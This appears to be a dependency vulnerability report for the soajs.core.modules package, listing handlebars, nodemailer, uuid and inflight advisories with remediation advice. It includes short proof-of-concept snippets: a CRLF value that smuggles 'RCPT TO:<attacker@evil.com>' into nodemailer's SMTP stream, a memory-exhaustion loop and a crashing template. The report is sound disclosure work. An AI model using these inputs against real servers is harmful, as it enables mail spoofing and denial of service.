Vulnerabilities |
12 via 29 paths |
|---|---|
Dependencies |
177 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the compile function. An attacker can execute arbitrary code by supplying a crafted Abstract Syntax Tree (AST) object with a malicious NumberLiteral value, which is emitted directly into generated JavaScript code without proper sanitization.
Note: This allows the attacker to inject and run arbitrary commands on the server. This is only exploitable if user-controlled JSON is deserialized and passed directly to the compile function.
Workaround
This vulnerability can be mitigated by validating that the input to the compile function is always a string and not a plain object or JSON-deserialized value, or by using the runtime-only build where compile is unavailable.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via manipulation of the @partial-block variable in the template data context. An attacker can execute arbitrary JavaScript code on the server by overwriting @partial-block with a crafted Handlebars AST and triggering its evaluation through a subsequent invocation.
Note: This is only exploitable if helpers that accept arbitrary objects are registered and allow mutation of the data context.
Workaround
This vulnerability can be mitigated by using the runtime-only build require('handlebars/runtime'), auditing registered helpers to prevent writing arbitrary values to context objects, and avoiding registration of helpers from third-party packages in contexts where templates or context data can be influenced by untrusted input.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
critical severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the resolvePartial and invokePartial functions. An attacker can execute arbitrary code on the server by supplying a crafted object as a dynamic partial in the template context, which is then compiled and executed as JavaScript.
Note: This is only exploitable if the template uses dynamic partial lookups and the attacker can control the context property used for the lookup.
Workaround
This vulnerability can be mitigated by using the runtime-only build require('handlebars/runtime'), sanitizing context data to prevent non-primitive objects from being passed to dynamic partials, or avoiding dynamic partial lookups when context data is user-controlled.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
high severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions through the registerDecorator path in lib/handlebars/compiler/javascript-compiler.js. An attacker can crash the Node.js process by supplying a template with malformed or unregistered decorator syntax, causing the compiled template to call an undefined decorator as a function. This affects applications that compile untrusted templates at request time, especially when the compile/render call is not wrapped in try/catch. A single malicious template such as {{*n}} can trigger an unhandled TypeError and terminate the process.
Workarounds
- Wrap compilation and rendering in
try/catch. - Validate template input before passing it to
compile(), and reject decorator syntax if decorators are not used. - Use pre-compilation at build time and avoid calling
compile()on request-time input.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
high severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output through the CLI precompiler in lib/precompiler.js. An attacker can execute arbitrary JavaScript in the generated bundle by supplying crafted template filenames or CLI options such as --namespace, --commonjs, --handlebarPath, or --map. The issue affects the precompiler output path used by bin/handlebars / lib/precompiler.js, where untrusted names and option values were concatenated into emitted JavaScript without escaping.
Workarounds
- Validate template filenames and CLI option values before invoking the precompiler and reject values containing JavaScript string-escaping or statement-breaking characters.
- Use a fixed, trusted namespace string rather than passing it from the command line in automated pipelines.
- Run the precompiler in a sandboxed environment with limited write access.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
medium severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@8.0.1
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › nodemailer@8.0.1Remediation: Upgrade to nodemailer@8.0.5.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the name configuration configuration option. An attacker can inject arbitrary SMTP commands by supplying carriage return and line feed sequences, enabling unauthorized email sending, sender spoofing, and phishing attacks before authentication occurs.
Remediation
Upgrade nodemailer to version 8.0.5 or higher.
References
medium severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Prototype Pollution in the protoAccessControl function. An attacker can gain unauthorized access to prototype methods by referencing __lookupSetter__ in templates through untrusted input.
Note: This is only exploitable if the allowProtoMethodsByDefault option is set to true.
Workaround
This vulnerability can be mitigated by not enabling the allowProtoMethodsByDefault option, or by ensuring templates do not reference __lookupSetter__ through untrusted input.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
medium severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the lookup function. An attacker can access properties that should be restricted by bypassing prototype-access controls through a time-of-check time-of-use (TOCTOU) flaw, where the security check and the actual property access are decoupled.
Note: This is only exploitable if the { compat: true } compile option is enabled.
Workaround
This vulnerability can be mitigated by avoiding the { compat: true } option and ensuring context data objects are plain JSON without Proxies or getter-based accessor properties.
Remediation
Upgrade handlebars to version 4.7.9 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: @google-cloud/logging-bunyan@5.1.0
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › google-auth-library@9.15.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-gax@4.6.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › google-auth-library@9.15.1 › gcp-metadata@6.1.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › gcp-metadata@6.1.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › google-auth-library@9.15.1 › gtoken@7.1.0 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-auth-library@9.15.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › @google-cloud/common@5.0.2 › teeny-request@9.0.0 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-auth-library@9.15.1 › gcp-metadata@6.1.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-auth-library@9.15.1 › gtoken@7.1.0 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › @google-cloud/common@5.0.2 › google-auth-library@9.15.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-gax@4.6.1 › google-auth-library@9.15.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › @google-cloud/common@5.0.2 › retry-request@7.0.2 › teeny-request@9.0.0 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-gax@4.6.1 › retry-request@7.0.2 › teeny-request@9.0.0 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › @google-cloud/common@5.0.2 › google-auth-library@9.15.1 › gcp-metadata@6.1.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-gax@4.6.1 › google-auth-library@9.15.1 › gcp-metadata@6.1.1 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › @google-cloud/common@5.0.2 › google-auth-library@9.15.1 › gtoken@7.1.0 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › google-gax@4.6.1 › google-auth-library@9.15.1 › gtoken@7.1.0 › gaxios@6.7.1 › uuid@9.0.1
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › @google-cloud/logging-bunyan@5.1.0 › @google-cloud/logging@11.2.2 › eventid@2.0.1 › uuid@8.3.2
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: bunyan@1.8.15
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › bunyan@1.8.15 › mv@2.1.1 › rimraf@2.4.5 › glob@6.0.4 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
low severity
- Vulnerable module: nodemailer
- Introduced through: nodemailer@8.0.1
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › nodemailer@8.0.1Remediation: Upgrade to nodemailer@8.0.4.
Overview
nodemailer is an Easy as cake e-mail sending from your Node.js applications
Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.
Note:
This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.
PoC
const net = require('net');
const nodemailer = require('nodemailer');
// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});
server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');
const transporter = nodemailer.createTransport({
host: '127.0.0.1',
port,
secure: false,
tls: { rejectUnauthorized: false },
});
transporter.sendMail({
from: 'sender@example.com',
to: 'recipient@example.com',
subject: 'Normal email',
text: 'This is a normal email.',
envelope: {
from: 'sender@example.com',
to: ['recipient@example.com'],
size: '100\r\nRCPT TO:<attacker@evil.com>',
},
}, (err) => {
if (err) console.error('Error:', err.message);
console.log('\nExpected output above:');
console.log(' C: MAIL FROM:<sender@example.com> SIZE=100');
console.log(' C: RCPT TO:<attacker@evil.com> <-- INJECTED');
console.log(' C: RCPT TO:<recipient@example.com>');
server.close();
transporter.close();
});
});
Remediation
Upgrade nodemailer to version 8.0.4 or higher.
References
low severity
- Vulnerable module: handlebars
- Introduced through: handlebars@4.7.8
Detailed paths
-
Introduced through: soajs.core.modules@soajs/soajs.core.modules › handlebars@4.7.8Remediation: Upgrade to handlebars@4.7.9.
Overview
handlebars is an extension to the Mustache templating language.
Affected versions of this package are vulnerable to Prototype Pollution via the resolvePartial function. An attacker can inject malicious scripts into rendered output by polluting Object.prototype with a key matching a partial reference, causing unescaped content to be rendered.
Note:
This is only exploitable if the attacker knows or can guess the name of a partial reference used in a template.
Workaround
This vulnerability can be mitigated by applying Object.freeze(Object.prototype) early in application startup or by using the runtime-only build, which reduces the attack surface.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade handlebars to version 4.7.9 or higher.